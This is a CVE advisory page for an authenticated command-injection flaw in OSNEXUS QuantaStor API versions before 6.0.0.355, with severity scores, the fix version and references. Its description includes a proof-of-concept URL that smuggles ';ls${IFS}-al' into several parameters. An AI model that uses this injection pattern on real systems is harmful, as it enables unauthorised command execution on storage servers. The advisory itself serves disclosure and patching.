CVE-2021-42081: Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Severity: high (CVSS 7.2 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 1.2% probability of exploitation in the next 30 days
Public exploit or detection template: none known
Published: 2023-07-10 · updated 2026-06-17
Weakness: CWE-78

Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected products

OSNEXUS QuantaStor: before 6.0.0.355 — fixed in 6.0.0.355

How to fix

Upgrade to a fixed version: OSNEXUS QuantaStor 6.0.0.355. Check the vendor advisory for mitigations.

References

https://csirt.divd.nl/CVE-2021-42081
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus
https://csirt.divd.nl/CVE-2021-42081
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus

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